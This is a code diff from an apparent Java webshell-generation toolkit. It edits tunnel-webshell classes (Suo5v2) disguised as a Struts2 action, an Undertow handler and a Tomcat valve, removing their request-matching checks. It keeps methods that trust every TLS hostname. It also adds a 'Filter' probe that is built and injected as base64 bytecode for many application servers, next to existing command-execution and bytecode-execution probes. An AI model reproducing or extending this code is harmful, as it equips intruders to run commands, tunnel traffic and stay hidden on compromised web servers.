|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -164,7 +164,11 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -990,109 +994,6 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -164,7 +164,11 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -990,109 +994,6 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -167,7 +167,11 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -993,109 +997,6 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,8 +8,14 @@ public enum ProbeContent {
|
|||||||
Server,
|
Server,
|
||||||
OS,
|
OS,
|
||||||
JDK,
|
JDK,
|
||||||
|
// 字节码执行
|
||||||
Bytecode,
|
Bytecode,
|
||||||
|
// 命令执行
|
||||||
Command,
|
Command,
|
||||||
|
// 基础信息
|
||||||
BasicInfo,
|
BasicInfo,
|
||||||
ScriptEngine
|
// 脚本引擎执行
|
||||||
|
ScriptEngine,
|
||||||
|
// Filter 配置
|
||||||
|
Filter
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.probe.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
import lombok.Setter;
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
@@ -26,10 +27,11 @@ public class ResponseBodyConfig extends ProbeContentConfig {
|
|||||||
/**
|
/**
|
||||||
* 内置执行类加载的字节码
|
* 内置执行类加载的字节码
|
||||||
*/
|
*/
|
||||||
|
@Setter
|
||||||
private String base64Bytes;
|
private String base64Bytes;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
* 命令执行模板,使用 {command} 作为占位符
|
||||||
*/
|
*/
|
||||||
private String commandTemplate;
|
private String commandTemplate;
|
||||||
|
|
||||||
|
|||||||
+11
-6
@@ -10,6 +10,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|||||||
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
||||||
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
||||||
import com.reajason.javaweb.probe.payload.CommandProbe;
|
import com.reajason.javaweb.probe.payload.CommandProbe;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
|
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
|
||||||
import com.reajason.javaweb.probe.payload.response.*;
|
import com.reajason.javaweb.probe.payload.response.*;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
@@ -18,7 +19,6 @@ import net.bytebuddy.asm.Advice;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.eclipse.jetty.server.Request;
|
|
||||||
|
|
||||||
import java.lang.annotation.Retention;
|
import java.lang.annotation.Retention;
|
||||||
import java.lang.annotation.RetentionPolicy;
|
import java.lang.annotation.RetentionPolicy;
|
||||||
@@ -38,11 +38,14 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
||||||
String name = probeContentConfig.getReqParamName();
|
|
||||||
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
||||||
if (Server.Jetty.equals(probeContentConfig.getServer())) {
|
String server = probeContentConfig.getServer();
|
||||||
|
if (Server.Jetty.equals(server)) {
|
||||||
getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class;
|
getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class;
|
||||||
}
|
}
|
||||||
|
if (ProbeContent.Filter.equals(probeConfig.getProbeContent())) {
|
||||||
|
probeContentConfig.setBase64Bytes(FilterProbeFactory.getBase64ByServer(server));
|
||||||
|
}
|
||||||
Class<?> writerClass = getWriterClass();
|
Class<?> writerClass = getWriterClass();
|
||||||
Class<?> runnerClass = getRunnerClass();
|
Class<?> runnerClass = getRunnerClass();
|
||||||
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
||||||
@@ -53,12 +56,12 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
.to(runnerClass)
|
.to(runnerClass)
|
||||||
.on(named("run")));
|
.on(named("run")));
|
||||||
String base64Bytes = probeContentConfig.getBase64Bytes();
|
String base64Bytes = probeContentConfig.getBase64Bytes();
|
||||||
if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent()) && StringUtils.isNotBlank(base64Bytes)) {
|
if (StringUtils.isNotBlank(base64Bytes)) {
|
||||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
||||||
} else {
|
} else {
|
||||||
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
||||||
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||||
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name)
|
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, probeContentConfig.getReqParamName())
|
||||||
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
||||||
}
|
}
|
||||||
return builder;
|
return builder;
|
||||||
@@ -69,6 +72,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
case Command:
|
case Command:
|
||||||
return CommandProbe.class;
|
return CommandProbe.class;
|
||||||
case Bytecode:
|
case Bytecode:
|
||||||
|
case Filter:
|
||||||
return ByteCodeProbe.class;
|
return ByteCodeProbe.class;
|
||||||
case ScriptEngine:
|
case ScriptEngine:
|
||||||
return ScriptEngineProbe.class;
|
return ScriptEngineProbe.class;
|
||||||
@@ -138,7 +142,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
}
|
}
|
||||||
ret = p;
|
ret = p;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8);
|
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
||||||
|
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||||
|
|||||||
@@ -0,0 +1,54 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.probe.payload.filter.*;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/11
|
||||||
|
*/
|
||||||
|
public class FilterProbeFactory {
|
||||||
|
|
||||||
|
public static String getBase64ByServer(String server) {
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
|
||||||
|
.redefine(getFilterClass(server))
|
||||||
|
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||||
|
.name(CommonUtil.generateClassName()).make()) {
|
||||||
|
return Base64.encodeBase64String(unloaded.getBytes());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static Class<?> getFilterClass(String server) {
|
||||||
|
switch (server) {
|
||||||
|
case Server.Tomcat:
|
||||||
|
case Server.JBoss:
|
||||||
|
case Server.BES:
|
||||||
|
case Server.TongWeb:
|
||||||
|
return TomcatFilterProbe.class;
|
||||||
|
case Server.Jetty:
|
||||||
|
return JettyFilterProbe.class;
|
||||||
|
case Server.Apusic:
|
||||||
|
return ApusicFilterProbe.class;
|
||||||
|
case Server.GlassFish:
|
||||||
|
case Server.InforSuite:
|
||||||
|
return GlassFishFilterProbe.class;
|
||||||
|
case Server.WebSphere:
|
||||||
|
return WebSphereFilterProbe.class;
|
||||||
|
case Server.WebLogic:
|
||||||
|
return WebLogicFilterProbe.class;
|
||||||
|
case Server.Undertow:
|
||||||
|
return UndertowFilterProbe.class;
|
||||||
|
case Server.Resin:
|
||||||
|
return ResinFilterProbe.class;
|
||||||
|
default:
|
||||||
|
throw new GenerationException("filterProbe not supported for server: " + server);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -9,7 +9,6 @@ import java.util.Set;
|
|||||||
/**
|
/**
|
||||||
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
||||||
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
||||||
* <br/>
|
|
||||||
* 额外需要注意:
|
* 额外需要注意:
|
||||||
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
||||||
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
||||||
@@ -51,7 +50,8 @@ public class ServerProbe {
|
|||||||
if (System.getProperty("weblogic.home") != null) {
|
if (System.getProperty("weblogic.home") != null) {
|
||||||
return ret = "WebLogic";
|
return ret = "WebLogic";
|
||||||
}
|
}
|
||||||
if (System.getProperty("was.install.root") != null) {
|
if (System.getProperty("was.install.root") != null
|
||||||
|
|| System.getProperty("wlp.install.dir") != null) {
|
||||||
return ret = "WebSphere";
|
return ret = "WebSphere";
|
||||||
}
|
}
|
||||||
if (System.getProperty("resin.home") != null) {
|
if (System.getProperty("resin.home") != null) {
|
||||||
|
|||||||
+205
@@ -0,0 +1,205 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class ApusicFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"unchecked", "Duplicates"})
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> com.apusic.web.container.WebContainer
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
// webModule -> com.apusic.deploy.runtime.WebModule
|
||||||
|
Object webModule = getFieldValue(context, "webapp");
|
||||||
|
Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings");
|
||||||
|
for (Object fm : filterMappings) {
|
||||||
|
// fm -> com.apusic.deploy.runtime.FilterMapping
|
||||||
|
String name = (String) invokeMethod(fm, "getFilterName");
|
||||||
|
if (!aggregatedData.containsKey(name)) {
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
Object filterModel = invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{name});
|
||||||
|
info.put("filterName", name);
|
||||||
|
info.put("filterClass", invokeMethod(filterModel, "getFilterClass"));
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(name, info);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = aggregatedData.get(name);
|
||||||
|
String urlPattern = (String) invokeMethod(fm, "getUrlPattern");
|
||||||
|
if (urlPattern != null && !urlPattern.isEmpty()) ((Set<String>) info.get("urlPatterns")).add(urlPattern);
|
||||||
|
String servletName = (String) invokeMethod(fm, "getServletName");
|
||||||
|
if (servletName != null && !servletName.isEmpty()) ((Set<String>) info.get("servletNames")).add(servletName);
|
||||||
|
}
|
||||||
|
